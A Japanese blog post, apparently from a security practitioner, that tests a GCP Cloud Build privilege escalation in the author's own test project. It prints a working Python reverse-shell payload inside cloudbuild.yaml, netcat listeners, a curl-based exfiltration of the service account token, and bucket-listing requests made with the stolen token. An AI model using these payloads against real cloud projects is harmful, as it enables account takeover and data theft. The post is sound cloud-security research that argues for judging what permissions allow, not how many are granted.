GCPへの攻撃を考える。Cloud Buildを悪用する権限昇格

8 min read読了の目安(約8000字

はじめに

前回の記事では、数種類あるGCPでの権限昇格手法について紹介しました。

GCPへの攻撃を考える。権限昇格について
https://zenn.dev/fire_fire_2/articles/a66019185d6ba4

この記事では、とくに中身の動きには触れず紹介だけでしたが、今回の記事では1つ選んで実際に検証してみた結果を共有したいと思います。

今回は、GCP Cloud Buildを悪用したIAM権限昇格を実際にやってみました。

GCP Penetration Testing Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build
https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
基本的には、Rhino Security Labsが紹介しているままですが、ここで紹介されている/root/tokencache/gsutil_token_cacheファイルがPythonコンテナでは、GCPの仕様変更なのか何なのかわかりませんが、すでに利用できないため、一部スクリプトを修正しないと権限昇格できませんでした。

Cloud Buildとは

簡単に言えば、プログラムビルド専用のコンテナを立てて、いろいろそのコンテナ上であらかじめ設定しておいたコマンドを実行してビルドしていく、というものです。最終的には新しくコンテナ自体をビルドしてコンテナレジストリに登録したり、Kubernetesへデプロイを行ったりを担う機能になります。もちろんPythonやgcloud、OSコマンドなども利用できます。

悪用方法

Pythonやgcloud、OSコマンドが利用できるということは、RCE(Remote Command Execution)ができるということになります。しかも、gcloudコマンドが利用できるので、$ gcloud auth print-access-tokenで、Cloud Buildを動かしてるGCPのサービスアカウントのアクセストークンが入手できます。
さらに、このコンテナ内からインターネット宛ての接続が可能なため、内部データの転送なども簡単に行うことができ、リバースシェルを確立させることもできます。
このように、Cloud BuildでのIAM権限昇格は、サービスアカウントのアクセストークンを窃取することで行います。

前提条件

この手法での権限昇格は、Cloud Buildのジョブを作成できれば良いので下記前提条件を満たせば行えます。

アカウントに下記の権限がついていること。

  • cloudbuild.builds.create

プロジェクトで下記のAPIが有効になっていること。

  • Cloud Build API / cloudbuild.googleapis.com

ということで、テスト用のプロジェクトを作り、cloudbuild.builds.createの権限を付与しただけのロールを作成し、アカウントに割り当てました。

攻撃実行

PythonスクリプトからAPI経由でCloud Buildを実行し、Curlでアクセストークンを転送する自動な方法と、gcloudコマンドからyamlをsubmitしてリバースシェルを確立させてアクセストークンを表示させる手動な方法で検証しました。

Exploit Script(curlで転送)

まず、自動な方法です。本家のスクリプトを修正して利用しました。Githubにあげてます。
https://github.com/firefire2/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py

まず、自分のアカウント(侵害された想定のアカウント)のアクセストークンを取得します。ya29から始まります。

$ gcloud auth print-access-token
ya29.hogehoge---(省略)---fugafuga

インターネットから到達可能サーバでncで待ち受けます。

$ sudo nc -nlvp <PORT>
Listening on 0.0.0.0 <PORT>

次に上のスクリプトをPythonで実行します。PROJECT_IDとプロジェクトIDは適宜変更してください。また、pipでモジュールのインストールが必要になるとおもいます。

$ python cloudbuild.builds.create.py -p <PROJECT_ID> -l http://<IP_ADDRESS>/token
No credential file passed in, enter an access token to authenticate? (y/n) y
Enter an access token to use for authentication:

アクセストークンを入力するように言われるので、先ほど取得したアクセストークンを入力してください。

うまくいくと、ncで待ち受けているサーバにHTTPでコネクトバックされ、データにCloud Buildサービスアカウントのアクセストークンが載っているはずです。

Connection received on 35.192.112.53 36226
POST /token HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

ya29.c.KnL7---(省略)---RRaecCRk

手動(リバースシェルからのgcloudコマンド)

次に手動でやってみます。

下記のような、cloudbuild.yamlを作成してください。IPアドレスとポートは自身の環境に合わせてください。gcloudコマンド用のコンテナですが中でPythonが動くのでリバースシェルを確立させるようになっています。

steps:
- name: 'gcr.io/cloud-builders/gcloud'
  entrypoint: 'python'
  args: ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])']

インターネットから到達可能サーバでncで待ち受けます。

$ sudo nc -nlvp <PORT>
Listening on 0.0.0.0 <PORT>

ファイルと待ち受けの準備ができたら、手元の端末のgcloudコマンドでbuilds submitします。
この時、--no-sourceをつけないとストレージ系の権限不足でCloud Buildが実行されません。

$ gcloud builds submit --config cloudbuild.yaml --no-source

下記のようなエラーが表示されてうまくいってないように見えますが、Cloud Buildは動いています。

ERROR: (gcloud.builds.submit) PERMISSION_DENIED: The caller does not have permission

うまくいくと、ncで待ち受けているサーバにリバースシェルが確立されコマンドを叩くことができるようになります。

Connection received on 34.72.69.5 51688
/bin/sh: 0: can't access tty; job control turned off
# whoami  
root
# pwd
/workspace
# gcloud version
Google Cloud SDK 332.0.0
alpha 2021.03.12
app-engine-go 1.9.71
app-engine-java 1.9.87
app-engine-python 1.9.91
app-engine-python-extras 1.9.90
beta 2021.03.12
bigtable 
bq 2.0.65
cbt 0.9.0
cloud-build-local 0.5.2
cloud-datastore-emulator 2.1.0
cloud-firestore-emulator 1.11.12
core 2021.03.12
datalab 20190610
docker-credential-gcr 1.5.0
emulator-reverse-proxy 0.0.1
gsutil 4.59
kubectl 1.17.17
local-extract 0.1.5
pubsub-emulator 0.4.0
#

ここで、いつものようにアクセストークンを取得するgcloudコマンドを叩くと、みごとにアクセストークンが表示されます。

# gcloud auth list
               Credentialed Accounts
ACTIVE  ACCOUNT
*       5**********2@cloudbuild.gserviceaccount.com

To set the active account, run:
    $ gcloud config set account `ACCOUNT`

# gcloud auth print-access-token
ya29.c.KnL7---(省略)---TxEpI

影響

先ほどから言っていますが、この手法で権限昇格できたアカウントは、Cloud Buildのサービスアカウントで、このアカウントの権限でGCPを操作できるようになります。つまり、cloudbuild.builds.create権限だけで、下記39個の権限が必要なリソースへのアクセスが可能になりました。

Cloud Buildサービスアカウントのデフォルト権限

artifactregistry.files.get
artifactregistry.files.list
artifactregistry.packages.get
artifactregistry.packages.list
artifactregistry.repositories.downloadArtifacts
artifactregistry.repositories.get
artifactregistry.repositories.list
artifactregistry.repositories.uploadArtifacts
artifactregistry.tags.create
artifactregistry.tags.get
artifactregistry.tags.list
artifactregistry.tags.update
artifactregistry.versions.get
artifactregistry.versions.list
cloudbuild.builds.create
cloudbuild.builds.get
cloudbuild.builds.list
cloudbuild.builds.update
containeranalysis.occurrences.create
containeranalysis.occurrences.delete
containeranalysis.occurrences.get
containeranalysis.occurrences.list
containeranalysis.occurrences.update
logging.logEntries.create
pubsub.topics.create
pubsub.topics.publish
remotebuildexecution.blobs.get
resourcemanager.projects.get
resourcemanager.projects.list
source.repos.get
source.repos.list
storage.buckets.create
storage.buckets.get
storage.buckets.list
storage.objects.create
storage.objects.delete
storage.objects.get
storage.objects.list
storage.objects.update

では、検証としてストレージ系の権限を行使してみます。
下記のようなリクエストでストレージの一覧を表示できます。

$ curl "https://storage.googleapis.com/storage/v1/b?access_token=<ACCESS_TOKEN>&project=<PROJECT_ID>"

まず、最初につかった、CloudBuildの作成権限のみ持ったアカウントのアクセストークンでは、権限がないと返ってきます。

{
  "error": {
    "code": 403,
    "message": "*******@gmail.com does not have storage.buckets.list access to the Google Cloud project.",
    "errors": [
      {
        "message": "*******@gmail.com does not have storage.buckets.list access to the Google Cloud project.",
        "domain": "global",
        "reason": "forbidden"
      }
    ]
  }
}

つぎに、窃取したCloud Buildサービスアカウントのアクセストークンでは、ストレージの情報が返ってきました。

{
  "kind": "storage#buckets",
  "items": [
    {
      "kind": "storage#bucket",
      "selfLink": "https://www.googleapis.com/storage/v1/b/daijina-de-ta",
      "id": "daijina-de-ta",
      "name": "daijina-de-ta",
      "projectNumber": "5**********2",
      "metageneration": "1",
      "location": "ASIA",
      "storageClass": "STANDARD",
      "etag": "CAE=",
      "defaultEventBasedHold": false,
      "timeCreated": "2021-04-15T06:30:31.748Z",
      "updated": "2021-04-15T06:30:31.748Z",
      "iamConfiguration": {
        "bucketPolicyOnly": {
          "enabled": false
        },
        "uniformBucketLevelAccess": {
          "enabled": false
        }
      },
      "locationType": "multi-region",
      "satisfiesPZS": false
    }
  ]
}

勝利!!

他にも、下記のようなサービスへの権限も有効にできるため、状況によってはより多くのアクセス権を得ることができるかもしれません。

まとめ

今回は、cloudbuild.builds.createの権限のみから39個の権限を持ったアカウントに昇格できる手法を実際に検証してみた結果を紹介しました。
よくある権限監査やセキュリティ診断などでは、権限が多くつきすぎてるからダメなど、数ベースでの評価を行うことがあるかと思いますが、今回のケースでは1つしか権限はついていませんでした。
今後、みなさんのクラウド環境を見直す際にもぜひ権限の内容に対するリスクも評価した上でシステムの設計を行うのがいいのではないかと思います。

参考文献

Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build
https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/